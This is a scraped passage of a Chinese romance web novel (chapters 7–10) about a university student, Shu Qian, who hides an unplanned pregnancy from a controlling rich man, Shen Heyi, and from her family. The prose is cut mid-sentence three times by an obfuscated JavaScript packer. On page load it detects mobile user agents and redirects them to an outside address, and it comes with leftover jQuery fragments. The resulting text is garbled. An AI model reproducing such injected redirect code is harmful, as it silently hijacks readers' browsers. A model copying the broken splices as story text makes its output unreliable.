在酒桌上闲暇将她的事以玩笑话吐露出去,她这辈子不就完蛋了。
到时候被他那样冷落,瞧不起,以至于告诉母亲,自己岂不是这辈子都抬不了头,成为母亲口中的“坏孩子”?
她不想。
也不会让这种事发生。
所以她得隐瞒着。
况且,这件事只是孙医生的定夺。
或许检查报告出问题了呢?也许是,血管上的名字贴错了呢?
人在崩溃的时候总是寄希望能够抓住求生的稻草。
舒浅坐在椅子上,感到头皮发麻。
闭上眼睛,一遍一遍的呼唤自己的姓名,告诉自己,没关系的。
她准备去药店买一个验孕棒。
校医院人多嘴杂,她并不准备去。
舒浅查看地图,准备去往学校后门附近的小诊所。临近出门,她提前带好口罩,遮住她那巴掌大,以及略带苍白的小脸。
诊所的位置很偏僻,甚至于还要顺着小路行走几百米。又没有校医院划算,按理说不会遇见熟人。
可她每一次踩地的瞬间,都感觉有意味不明的目光投来,赤/裸/裸的将她凝视着,让人窒息。
好不容易来到诊所。
舒浅偷偷扒拉下口罩,大喘一口气,随后又将口罩重新盖住口鼻。
小诊所的服务氛围到底没有大医院的好。
舒浅走进去,没有一个人询问她需要什么。
这样也好,正好适合她彼时的“社恐”。
将目光投射在药柜中,寻找有用信息。
最终在一个角落,发现测试纸这三个字,她环顾着四周,快步走了过去。
将验孕棒握在手里,一切顺利进行,只需要付个款,再在无人的角落测一番,就可以让心中那块石子落地。
将验孕棒放在收银台,舒浅正准备掏手机,听见熟悉的声音。
“唉,我都说了干那事要带套带套。等遇到合适的再将那玩意偷偷去除,到时候国外生子,母凭子贵,你怎么不听?”
晴瑶气急败坏的指着旁边的堂妹,愤懑之意溢于言表。
明明都是一个姓,结果这小姑娘的脑子宕机的不是一点,非吵着和一个穷小子双宿双飞,一点也没有她聪明。
她点头专注教训,并没有发现站在收银台的舒浅。
舒浅连忙着急忙慌的将手机收回包里,往药柜庞走,收银员感到不解,抬手叫了她一下,“小姐,这个你还需要吗?”
晴瑶无奈撇嘴,“行了,这次要是怀了就把它打了,没怀趁早跟他分手。”
她抱臂审视四周,听见收银员的声音,看见残留的一抹阴影,眯了眯眼睛。
舒浅压根不敢回答,一溜烟跑到药柜的尽头,凑着个脑袋注视着这一切。
是视野盲区。
她看不见晴瑶,晴瑶也看不见她。
背靠在药柜上,她感到心脏像是被敲击着,嘴唇微微颤抖。
千算万算她也没有算到,晴瑶会在这。
那个仅次于沈和易知道她怀孕,第二个会对她构成威胁的人。
虽然并不知道怀孕这件事是否成立。
但无形之中,舒浅已经将自己比作耗子,将晴瑶比作猫。
猫抓耗子是本性,她不敢出去。
等她们走吧,她想。
长达二十分钟的时间已经度过,舒浅一点一点移动着步伐,顺着缝隙,寻找那道身影。
果真如她所料,晴瑶已经离开。
她小步快跑出去,顺带着拿了片金嗓子喉片,因为撒谎,她眼神飘忽迷离。
“对不起,刚觉得嗓子不舒服,又进去拿了片这个。前不久我拿的那个呢。我还需要。”她舔了舔嘴唇。
“哦,那个啊。”收银员思考了一瞬,“被刚才那两个人拿走了,你还需要吗?可以再去拿一个。”反正库存还有。
舒浅点头应允。
第二次寻找验孕棒比第一次要熟练,舒浅紧赶慢赶的来到目的地。却不料,有人已先在目的地抵达等待她。
“舒浅,真的是你。”
晴瑶扬着眼皮,将她从上到下审视了个遍,最后露出难以置信的表情,“你怀孕了?”
—
“小少爷,送给她的礼物,她全都收了。包括手表,包包,以及鲜花……”
助理在汇报流程,沈和易听完就笑了。
果真如他所料,没有一个女人能抵挡住奢侈品的诱惑。如果有,那就是砸钱砸少了。他低头玩弄他的金色貔貅,将它嘴巴里的珠子硬生生抠出来,捏在手心,盯了片刻,眼底笑意分明。
舒浅,你不还是这种人吗?
事情在他预料中进行,沈和易心情算不错。想将金珠子重新塞进貔貅嘴中,发现塞不回去,转身就将它扔入垃圾桶,没过多放心上。
“只不过……”助理话锋一转。
“我没有。”舒浅极力否认
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564731|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,摇头也换来不了晴瑶的相信。
她向前一步,站在舒浅的身位看去。一丝轻蔑的笑回响在她脑海中,“这是什么?”
“会有人无缘无故购买验孕棒吗?”
刚才,她还怀疑那道身影是否是舒浅。
幸好守株待兔了下,不然遗留到了个惊天大瓜。
舒浅买验孕棒?
谁的?她脑海中一闪而过一道英俊面容,上牙咬咬嘴唇。
“我只是碰巧经过这。”
很可惜,舒浅的反驳很没有杀伤力,云淡风轻的如同飘落的树叶,自然而然也砸不到晴瑶的心坎里去。
手机振动在此刻响起。
舒浅长年累月手机开的都是静音,因为和李妈通过电话,怕遗留关于母亲的信息,才特地开的振动。
现在,她庆幸这一选择。
可以让她短暂脱身。
“喂。”在晴瑶的注视下,她接通电话。
电话那头,有着和晴瑶不同的语调,却同样的勾人心弦。
“舒浅,是我啊。”
沈和易就坐在椅子上,双腿交叠在一起,于电脑中,查看着舒浅的信息。
“你的好朋友,沈和易。”
看见别人接电话说话是一件不礼貌的行为,但晴瑶并不打算那么礼貌。
从嘴边轻吐一句话,“舒浅,你长的看起来单单纯纯,没想到私生活挺乱的啊。”
“就还——”
“挺不一样的。”
她勾勾舒浅的头发,而舒浅害怕她听见沈和易的声音,偏了偏头。随后又害怕晴瑶将她买验孕棒一事透露出来,挣脱她的掌控,跑了。
轻微的呼吸声被他捕捉到,当然,前不久晴瑶的对话也被他记入脑海中。他将电脑关闭,柔和的声音说,“舒浅,你是有男朋友吗?”
虽然第一次是他的。
亲眼看见床单上的那抹红,但是并不妨碍舒浅是可以有男朋友的。
毕竟长的这么漂亮。
“没有。”
舒浅连忙道,沿着小路行走,皱眉头。
晴瑶估计还会在那停留一段时间,接下来她还需要去打工,定是不能陪她耗着的。不如先行离开,过几天,去远一点的医院购买验孕棒吧。
“没有就好。”沈和易扬起轻松的笑意,“我就说,舒浅看起来这么乖的小孩,怎么会做到,跟一位异性谈恋爱,又堂然皇之的收另一位异性的礼物呢?”
他说,“舒浅,要不要见一面。我看你妈妈还挺想你的,你不想她吗?”
沈和易站起身来,朝门外走去。
想到小助理的话,“只不过——”
“她今天的电话总也打不通,送不了你今天给她买的礼服了。”
是要临阵脱逃吗?
送都送了,收到后又开始反悔了?
对此,沈和易很不满意。
他准备亲自迎接舒浅的到来,将礼服送到她的手上,看她受宠若惊的模样,担惊受怕的表情。
实在是……太让人喜欢。
果不其然,舒浅下意识全身缩紧,没能及时回复。
沈和易还在故作轻松的问,“舒浅,你怎么了?”
8. 第 8 章
从初始阶段再到现在,舒浅都被那句话吓的不轻。
近在咫尺的真相显现在眼前,那个送她礼物的人,就是面前通电话的人。开阔明朗的思绪却带给不了给她快乐,反而莫名的压力很大——
极其的大。
千言万语堵在嘴边,像被胶带糊住,心也慌的厉害。
因为她不清楚他的所图。
沈和易似是看穿她滞默十几秒的想法,轻轻的笑了一声,“舒浅,是那些礼物让你压力大了吗?抱歉,没考虑周到,我以为你会喜欢的……”
后面的话渐渐停顿下来,似乎在反思自己的所作所为。
舒浅跳动的心脏也跟着平复起来。
的确,像沈和易那个圈子,随随便便都是几百万的资金资产,哪里能料到这些礼物会让她恐慌。她放下戒备心,只说,“沈和易,不行的。”
“下次别送我礼物了。”
不过这样也好,至少知道是谁送的。
舒浅可以回去整理下礼物,将它们原封不动的送还给他。但转念一想,送还给他,意味着面对面交易。
从上次那件事后,已经过去很长的时间,但她还没有勇气来面对他。
如此般,舒浅轻轻开口,“能给我下你的公司地址吗?”
—
经上次购买避孕棒撞见晴瑶这一乌龙后,舒浅想了想,还是决定不再将希望投射在药店中,于某宝购买。
私密发货,某丰包邮,在第三天的时候,舒浅瞒着所有人,取到那个方方正正的纸盒,上面写着“日用品”三个字。
不敢当着所有人的面拆开,舒浅低着头,小碎步快跑来到女厕所,兜里还装着简单的不能再简单的刀片。
为迎接这个验孕棒的到来,她甚至提前喝了不少水,以至于抵达厕所,尿意瞬间迸发出来。
她脸很红。
不知道是憋的还是脱下裤子看着验孕棒的瞬间,总之,她心情很忐忑。
为防止事情出现差错,舒浅在临界值,重新看了一遍说明书。
“将帽拔开,直接尿到加样区,维持三秒时间……”
天哪,维持这种姿势太让人羞耻。
憋屈的脸庞从未改变,并且在每秒下,脸部极致通红。
好在,尿液已经接好。
舒浅将它小心翼翼放在庞侧,用早就准备好的湿纸巾擦手,闭上眼睛,将整个脑袋埋在腿的缝隙里,顶了顶鼻子。
三分钟时间,她在心里默念数字。
满怀期待的目光投射过去,看见验孕棒上的两条杠,整个人像是被泰山压住,瘫倒在地上。
……
“舒浅,舒浅怎么没来?”
人力资源管理专业辅导员在用二维码现场签到,自然而然发现到舒浅的缺席。
他整个人眉头皱了起来,明确对从未缺席过的她表达了不悦。
“不是说都要来的吗?我在q/q群通知的清清楚楚!她寝室的人呢?她寝室的人在哪?”
张依依听到导员嘹亮的声音,怯生生的举了个手,“舒浅,她好像……早就出去了。”平日里又不喜欢赖床,勤劳的如同小蜜蜂。
在导员依旧灼热的注视下,张依依细细思考片刻,突然恍然大悟,“我好像知道舒浅今天为什么没来了!”
“嗯?”导员洗耳恭听。
“男朋友啊,有男朋友了!”张依依在说,手舞足蹈,“你是不知道那包有多贵!谁送我那个包,我命都给他了,陪陪怎么啦?”
……
接二连三的电话充斥着舒浅的手机屏幕。
她手机一般开的静音,并不清楚电话另一头,辅导员焦急的表情。
“不是都说了吗?不来要请假,你们这些小孩。”他一遍遍的拨打,最终将唠叨转为抱怨,“你们出什么事,我得担责的。”
张依依嘟囔,“又不是我干这些啊……”
也不知道过了多久,反正舒浅是哭够了,眼皮如同被打了一圈,肿胀的发红。
她揉了揉眼皮,发现不对劲,准备拿手机屏幕查看一下。
突然蹦出的电话吓了她一跳。
“舒浅,你在哪呢?今天是AI论坛讲座。你不来也请个假吧!”
舒浅连忙打开备忘录,发现自己将时间记混,开始道歉,“对不起,我不是故意的。”
“这样吧,你在平台上申请一下,我这边给你过了。”这样责任不在他。
没想到舒浅却是一根筋,丝毫不懂得变通,忙不迭说,“我来,导员,我来的。我只是记错时间。”
挂断电话,路过一面镜子。
舒浅将头发整理好,抽了一张纸擦了擦鼻涕,全部整装待发。身边来来往往,是朝气蓬勃的大学生,她也是其中的一员。
可在无人知的角落,在她的肚子里,隐匿着一个小生命在生根发芽。
舒浅终于明白前不久的呕吐不是着凉,孙医生的话语也不是空穴来风。
她忽而觉得脚底失空。
—
“啊啊啊啊!刚才发言的是谁,也太帅了吧!”
“主讲人名不都写的清清楚楚吗?沈和易。”站在张依依旁边的女孩默默翻了个白眼。
“不好意思,只记得脸了,丝毫记不得别的。”张依依在犯花痴,“好想加个vx哦!在他上台演讲的时间,我甚至把我和他的余生走完了!”
舒浅匆匆忙忙感到讲座论坛地点,发现人已经散场。只留下一群女生,在那眼巴巴的望着后台。
舒浅不明白原因,也顺着她们的目光看了一眼,发现并没有奇怪的事情,小声叹了口气。
说是要来,结果怕别人知道她哭过,硬生生拖了二十分钟。
现在可好,辅导员肯定认为她是一个大麻烦。
她并不想成为别人的麻烦。
她无意间触碰到肚子,被自己吓了一跳,随后收回。
被旁边张依依看见,说了下风凉话,“舒浅,你到的真早,小牌大耍起来了。你是不知道,刚才导员的声音有多刺耳!”
舒浅很诚恳的站在那,听她说完,抿了抿唇,“对不起……我真的记错了。”
张依依倒也不想将时间浪费在她身上,重新接回刚才的话题,查看着手机,突然雀跃不已,“真是沈和易唉!我去,这手机上前面记录了他的生平阅历,斯坦福大学毕业,也太牛了吧!”
听见这些话,舒浅忽而明白她们在期待什么,手指突然间颤抖了下。
张依依还在说,“现在在国内做金融贸易,投行的都是几千万的单,就没亏本过,智商真高,这基因带的,估计我给他生的小孩都能上哈佛。”
“你这话说的。”
旁边人都知道张依依就喜欢随口说玩笑话,开始笑起来。
不过这些笑声传到舒浅耳朵里,却异常刺耳。
她只能装作没事人的样子,默默离开。
辅导员再次给她打电话,舒浅这次不想让他不痛快,连忙接听,并诚恳的叙述自己的过错。
没想到导员压根不在意,只道,“意思是,你来了吧。”
舒浅嗯了声。
“来的话就来后台一趟吧。”
他回头看了眼和校方领导说话的沈和易。前不久,他漫不经心提了下舒浅的名,领导连忙使眼色将她请过来。
说到底,他也是小啰啰,可以随意被使唤。
所以他给舒浅打了电话。
没想到舒浅连忙拒绝了。
“我要去工作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564732|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,导员,有什么事,你可以发短信给我。”简直跑的比兔子还快。
这是舒浅第一次拒绝人,握着手机,都感到被毒药侵蚀心脏,摇摇欲坠。
肯定不能去啊。
后台有谁,她还不清楚吗?
原本的恐惧在边走边喘息的时候无限放大。
因为,彼时。
在沈和易身上又多了一种身份——
她孩子的父亲。
被挂断电话,辅导员的是神色有几分失滞。
真如张依依所说,舒浅攀上高枝,甚至明确拒绝沈和易的请求?他虽然不解,但并不想过问。将这件事原封不动的说明,沈和易的脸上无半分不堪,甚至说,像是没听见一样。
他挠了挠下巴,在领导的眼色下,也慢慢退了下去。
……
舒浅其实没有立刻出去。
因为临近门口,她突然闻到一阵浓烈的烟味,震的她胃部发烫,瞬间干呕起来。
知道呕吐原因,她无法再装作像之前一样熟视无睹,而是改道去了厕所,吐了起来。
低沉的声音在狭小的空间无限被放大。
甚至有保洁阿姨敲击着厕所的门,询问她怎么了。
舒浅连忙压了一下嗓子,说她没事。
后来,觉得这里人多嘴杂,说不定有人候在门口,看谁这么“不检点”。
她害怕被别人这么说。
因为她自己也这么认为。
出来后,去了楼梯口蹲着。
放松下来,胃部也没那么不堪。
不再呕吐后,她开始思考未来。
孩子肯定是不能要的。
要就意味着十月怀胎,后期离开校园。
单不说这会沦为多少人的笑柄,而且养孩子也是一笔不小的开销。奶粉,奶嘴,衣服都是必备的。更别说什么杂七杂八的事物,这都是不可缺少的。
越想越多,她只感到身上的压力开始沉甸甸起来。
这孩子不能要。
她再次肯定了这一事实。
站起身来时,闻到一股熟悉的气息。
木质香味为主,又夹杂了点薄荷,龙诞香。很奇特的香味,舒浅不由自主地吸了吸鼻子。清醒过来后,突然神经紧绷在一起。
沈和易斜靠在一旁,一副戏谑,玩弄她的模样。
翩翩公子是假的,温文尔雅是假的,但想看舒浅是真的。
或者说,是想看她在众人面前,羞涩无助的模样。
有点像玩具。
沈和易在笑。
舒浅也不知道他站在那多久,但余光瞥见他游刃有余的模样,顿觉他应该看了很久。
将自己的虚弱模样吸入眼底,好在,她没发出作呕的声音。
“舒浅,你刚才是不是拒绝我了。”
他平铺直叙的开口,审视着她。
“不是好习惯。”他道。
如果是别人,他会用一些招数给予他们点教训,但那是舒浅,是值得被原谅的,因为她总是那么胆怯的看着他,用对待别人的招对待她,还没动手,舒浅自己就把自己吓死了。
舒浅真的好奇怪,但又很特别。
他正在看她。
“我是因为我接下来有事……”舒浅正低垂着眼睛,反复斟酌撒谎的词组。
“有事?”他低了低头,在她眼睑的部位扫了个边,“你在哭?”
“我没有。”舒浅立马反驳。
沈和易可不想陪她玩这种她到底哭没哭的傻瓜游戏,他嗯了声,随便敷衍,“行吧,没有。”
“不过。”他突然话锋一转,“管你有没有,都得跟我回家。”
“舒浅。”他下达指令,目光像把她晾晒在阳光里。
9. 第 9 章
沈和易一直以来都认为舒浅是个不乖的小孩。
纵然她投射过来的目光不含一点杂质,水灵灵的如同宝石,说话很小声,面容很乖巧,他也依旧保持自己的这一份观点。
她不老实。
第一是明晃晃的将礼物收入囊中,还佯装一副楚楚可怜的模样。第二就是至今为止,都把那件和他的床/事忘了个遍。
平淡无辜的说自己能不能不去。
他当然不能依照她的所愿,他是什么好说话的人吗?
虽然那天确实喝了点酒,但按理说,床上技术也是数一数二的。她舒浅凭什么忘了这一切,这是对他的侮辱。
有人对他侮辱,就得给她惩罚。
舒浅是敌人。
所以在舒浅再次思考该如何拒绝时,他直接反扣住她的手腕,平淡无波的说道,“舒浅,你好像又在拒绝我。”
就这样,舒浅也不明白为何会坐上他的车,看窗边景色向后靠去,还感到不可思议。
她坐的可是沈和易的车啊。
用后视镜反偷看了他一眼,认真开车的模样满是雍容华贵。这让舒浅怀疑,他刚才是不是生气了。用那么面无表情的目光盯着她,像是把她拷在牢笼里,不敢说忤逆他的话。
可下一秒,舒浅就想通了。
沈和易明明是为她着想,在他家后厨里烧饭的是她妈,又不是她妈,她怎么能这么恶意揣测别人呢?
她揉了揉被他抓住的手腕,还别说,他劲还挺大的,把她吓一跳。
这一趟车稳稳停靠在沈家门口,甚至惊动了唐太太。
谁都知道他儿子在外有房,平日里也鲜少回家,每次都需得她催促。在国外那些年,更是将这份思想表达的淋漓尽致。只不过物质上的富足是一点不少。
所以在听说沈和易的车停到门口时,她立马出去迎接,并不可避免的看见舒浅。
她眼底闪现一丝震惊,抬眼望望两人,随后收了回去,喊了声舒浅。
舒浅哪里会料到沈和易会无法无天成这样。前不久,她明确表明只需要将车停靠在小区旁,剩下的路她会自行行走。
也不知道是不是她说话太小声,还是只说了一遍,他全神贯注的开车,并未理她。
舒浅也不敢多问,只将这份委屈压抑在心里,心想就算他开车承载着她,她也能先行下车,与他岔开。
现在可好,刚开车门就与唐太太撞个正着,她脸上表情的丰富度可想而知,手指扣着手指,却还是不想因为尴尬而丢了礼貌,小声说了声,“唐太太好。”
“你们这是……认识?”
唐太太不喜欢多管闲事,只是这件事太让人新奇。
舒浅自知这个问题会砸在她头上,可前不久思绪过了半天,也想不到应对办法,一来二去,将求助的目光投射给他,眼神传递着内心的忐忑。
他没看她,也许是不用看,就猜得到舒浅内心的想法,抬抬手指,叫人将车送入车库,有条不紊的擦边而过进了屋,留下一句,“刚看见,就顺带着带了。”
唐太太望了望她儿子不太礼貌的举动,凑过来对舒浅说,“是不是脾气很差。”
“唔……”他刚才帮了她,舒浅一时间噎住,吐出两个字,“还好。”
“不过他居然愿意带你哦。”有洁癖的儿子愿意带一个外人,虽然新奇,但此时过去。
她聊了个新的话题,“上次走了怎么都不来了?”
唐璐朝一个人居住在这,除了平日里有佣人们陪伴,倒也冷清。有舒浅这个可人陪着,有时候心情也舒坦些。
随口一问,就让舒浅吓得不轻,想到口袋里的验孕棒,肚子里的崽,瞬间感觉没脸见她,就这么低着头走到厨房,也不知道自己聊的是什么。
推门进去,母亲正在石板上煎烤惠灵顿牛排。
到底是有钱人家设施齐全,陈素英在闲暇时间学习,已经掌握多种国家烹饪技巧。或许是很珍视这份工作,她干事总是很认真。
在看见舒浅的瞬间,手指比划着:【死丫头,学校学习学好了吗,就来看我。】
对于舒浅不顾一切的来照顾她,陈素英一直不太苟同,她希望舒浅过自己的人生,而不是将时间投入在她身上。
不过埋怨归埋怨,下一秒,她从房间里拿出口服液,塞进舒浅的怀里,【上一次你不是受凉了吗?我就买了这个。】
手握着口服液,玻璃的凉瞬间让她的心情百感交集。
她该怎么跟母亲解释,那次呕吐,不是受凉,而是……怀孕。
上牙咬着下唇,脸色苍白的厉害。舒浅用力挤出一抹微笑,摇了摇手里的口服液,喉咙突然哽咽,但好在不用说话。
【不用给我买这些,留着钱,自己花。】
陈素英回,【最近唐太太给我加工资了,别心疼我。】
……
出去的时候,唐太太正在客厅看台剧,为别人的爱情哭的稀里哗啦。将目光投射过来的时候,甚至有点楚楚可怜,哽了一下,“你要不要和我一起吃饭?”
舒浅看了眼不知道多少年前的玛丽苏剧情,收回视线,想着摇了摇头。
下一秒,她已经走到舒浅的旁边,拉了拉她的手指,“你好瘦哦。我心情不好,跟儿子谈不了心,只能和你聊。”
唐太太说话很直接,没什么心眼,虽然为人父母,但有种小女孩气。
也许是养尊处优,都会营造出这种性格?看着唐璐朝这种迫切的目光,舒浅不好拒绝人,就这么点了点头。
唐璐朝电视没关,正在播放片尾曲。拉舒浅坐下,突然扬起声音,叫了声,“和易,你要不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564733|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要吃饭?”
瞬间把舒浅吓得不轻。
她差点从椅子上跳下来,找个角落躲藏自己的身影。
但好在,沈和易没出来。
唐璐朝笑着对舒浅嘟囔:“估计没听见,我说话声音太小了哦。这儿子和他爸爸一样,都挺傲的呀。平日里也不家呆,就是没有小女孩好。”
不过不在家呆的原因不同,唐璐朝不想深究。男人的事情归男人自己管,她只负责乖乖躺在家,做做SPA保养身体什么的。
舒浅附和的笑。
唐璐朝也觉得说了太多,将话题绕了回来,刀叉摆放着,教舒浅使用。
舒浅想拒绝,表达了自己并不饿。没想到唐璐朝已经将牛排切好放在她盘中,“你妈妈煎的,可好吃了,舒浅你好幸福哦。”
—
沈和易回屋接了个电话。
刚才他小开了门扉走出去,居然听见母亲和舒浅相谈甚欢的言语,他忽而感到不可思议,且头疼至极。
因为他把舒浅接回来的目的,就是为了让她在这种环境下,时时刻刻保持高度的压力感,牢记自己的身份。
可现在所有事情朝偏离他的预期进行,沈和易第一次尝到了偏离航线的恐惧性。
得把所有事情拉回来,就这样,沈和易面无表情的发送信息,舒浅的屏幕忽然一下亮了起来。
随后又关闭。
当然是舒浅自己关的,因为她觉得边聊天,边接电话很不礼貌。
没想到唐璐朝丝毫没考虑这一点,反而困惑地道,“有电话为什么不接?”
舒浅顿了下,停滞几秒,开始顺从着点头,拿着手机,划了过去。听完对方叙述,感到疑惑:“礼物,什么礼物?”
随后又听了几秒钟,舒浅忽而知道这一陌生号码出自谁手。对方还在说签收的事,可舒浅正坐在罪魁祸首的楼下,按理说不会出现这件事。
舒浅皱眉头,不可避免的抬了抬眼,正巧和楼上那位相对,他挑了挑眉。
而她一瞬间坐不住了。
整个气氛被他不合时宜的打破,沈和易满意的回了屋,得到助理最后传递的信息:“小少爷,前几天帮您签收的事快递你什么时候拿,这都几天了。”
“什么快递?”
“不知道,一个礼物盒。”助理的目光往上绕了一圈,“还挺大的。”
“谁让你签收的?”
突然的反驳让助理掌心冒汗,语气结巴,“我以为是你需要的……”
没等她说完,他挂断电话。
前一秒风平浪静的他内心翻江倒海,忽然明白前不久舒浅询问他公司地址的原因,怒意从指尖冒出,青筋跳起。
送出去的水泼回来,这还是他第一次遇见。
舒浅啊舒浅,你还真挺“老实”的。
10.第 10 章
舒浅压根不知道是哪里得罪沈和易了。
两人井水不犯河水,在他前几次送礼物她还在为他说话,可现在她已经明确坐在他的面前,他还玩这种把戏。
到时候指不定又掀起一波腥风血雨。
还是说,他故意想让她再寄一回快递?
虽然是同城,但是快递费并不便宜。那次看见扣款信息,让她心疼了很久。但心里想,只这一次,后续不会再有支出。
没想到他还要玩这出?
质问,不解,通通抵达在心底,几乎要化作愤懑奔涌而出。不过只在一瞬间,这份融合着各种思绪的情绪便烟消云散,因为她听见沈和易踩踏着阶梯的声音,就像踩在她的心里。
不敢多言。
唐璐朝尚察觉不到奇怪之处,从始至终,她只能算是一个旁观者。
见沈和易下楼,顿时喜悦几分,“要吃饭吗?”
未等回复,旁侧椅子被拉开,发出“吱扭”的声响。
沈和易闻讯坐下,态度不言而喻。手摆弄刀叉,发出与碎瓷瓦相撞的清脆声响。
只是无心之举,却勾着舒浅的心弦,久久平复不下来。
她只将余光投射在刀叉背面,注意着他的一举一动,就像一个偷窃者。好在,他尽心尽责切割牛排,没将视线落在她身上一下,舒浅小心翼翼地喘了口气。
“我吃好了,谢谢唐太太。”
她将刀叉攥在手心,只想快步远离是非之地。
不料,在她看不见的地方,有一道目光,正在将她一点一点吞噬。
—
舒浅一下午都坐在保姆房内,其实也不知道在干些什么。
她的眼神失焦,想的却是怀孕这件事该如何解决。
告诉沈和易?
这是断断不可能发生的事实。
想到他并未在意自己的目光,舒浅只将这份心思藏匿得更深,她不想被当做不检点,靠孩子上位的女人。
告诉母亲……?
她犹豫了很久,只觉得难以启齿的瞬间,突然母亲破门而入。
她用手语道,【在干嘛?怎么一直呆在房间里不出来?唐太太今天中午不是对你很好,你不需要报答吗?怎么想着偷懒。】
虽然幼年丧父,但舒浅的教养并不比双亲家庭的差。母亲从小教育她要做一个知恩图报,心怀善良的人,她始终牢记于心。
所以对于母亲这个残疾人找到工作,她为她高兴的同时,也为她兜底。她希望母亲不要被歧视,她可以做她的声音。
但好在,这份担忧是多虑的。
唐太太始终怀揣着仁慈之心,将他们母女俩好好“收留”。
陈素英也不是不知道这些,所以平日里总叫舒浅多长点心,眼里有点活,她都乖巧的应答。
但今天鲜少的犹豫了。
呆在保姆房避而不出,就像小时候面对亲戚不喊人的坏小孩,她感到尤为的焦虑。
不能做到心平气和的面对,也自然而然将真相收入口中,如同拉上拉链,将嘴巴捂的严严实实。
不能说,她得自己面对。
……
帮母亲处理好平日里需要的闲暇事务,舒浅便匆匆离开别墅。
现如今并不算糟糕。
虽然失去了一处住所,但好在,她还有睡觉之地。
那就是她的宿舍。
原本还在心疼每学期交的八百块钱,现在的舒浅突然喘口气,万分庆幸自己交了这八百元。
不过比起回宿舍,她还有件大事要做,那就是打胎。
这孩子不能留,在一整个下午的思考后,舒浅将这份思想展现的淋漓尽致。
柔弱内敛的她如此坚定不移的做一件事,想必是抱着万分的决心。
可当头一棒的现实如同冷水浇灌在她的脑袋,从上到下,钻心的凉。
“什么……你说什么?”舒浅以为是自己听错,感到不可思议,在得到对方的重复后,一瞬间呆住,“打一次胎怎么这么贵……?”
二千元,还不包括检查,以及心电图的费用。她上牙咬着下唇,只觉得眼前事情天旋地转,就要维持不住平衡。
医生抬起头,对她的五官打量了下,重新低下头,冷静的说,“孩子父亲呢?”
舒浅没作答,被认为是孩子父亲的不作为。
旁边的小助理打趣道,“真行,男的又美美隐身了。”
确实,这件事舒浅确实需要跟沈和易讨论,毕竟怀孕是俩个人的事情,x和y的交合才可以诞生一个新的生命。
可未经他人苦,莫劝他人善。
助理虽然是替舒浅说话,可那一巴掌的回旋镖,无形打在她身上。
生疼。
她说:“我再看看吧。”
……
回到宿舍,舒浅感到晕眩的厉害。
她没想到怀着一个小生命,对她的体力消耗这样之大。以前虽然瘦小,但爬个四楼还是绰绰有余,现在可好,上气不接下气。
她连忙坐在椅子上,趴了会。
“哟,你回来了。”张依依正在收衣服,抬嘴吆喝了一嘴,“你和你男朋友怎么样了?”
一整天没回来,指不定去哪里恩爱。不就说她几句,没想到那些名牌包包都收着不让她看。张依依心里想着,不自觉翻个白眼。不就那点钱,她又不偷她的啊,至于当贼防着吗?
舒浅没听出她的言外之意,很礼貌的应答,“我没有男朋友的。”
“哦。”张依依干脆利索的一个字,但心里埋怨更深。将衣服扔在床上,小心折叠着,像是随便谈论到这个话题,“你不知道我们这栋楼要搬迁了吗?”
“什么?”舒浅抬抬眼睛,这才发现另外几个室友的床上已经没有床单。
“你不知道吗?我都发给过你了。”
“没收到哇。”舒浅看手机。
“哦,抱歉啊浅浅。”张依依抱歉的拍了拍脑袋,“我以为我发了,结果一聊天,给忘了。”
她继续说,“反正也不是什么大事啊,就说我们人力资源管理和金融系的女生搬到十九栋里住,但床位有限,问有没有人愿意出去住,有住房补贴,每个月一千元。这不是上面催的急,我还是寝室长,生活委员一直给我发信息。我就自作主张,帮你做了这个决定,将你的名字上报上去啦……”
“一千元,也不少哦。”张依依滔滔不绝,“再说了,舒浅,你不是有男朋友嘛,去你男朋友那里住咯。每个月白嫖一千元,揣兜里,不是美滋滋?”
刚休息完而平复的内心忽而一下开始剧烈跳动,怪不得前不久上楼时,很多同学背着大包小包下楼。她还以为是应届生要回家了呢。
现在知道真相,舒浅掌心聚拢,忧郁的眼神瞬间聚焦于她,“张依依,你凭什么帮我做这个决定?”
气势不足,嗓子有点哑。不过这一反差感却注意震慑住张依依,她愣了愣,转而道,“你怎么这么凶嘛。我也是为你好啊。”
怎么还生气了?
—
“比如……?”
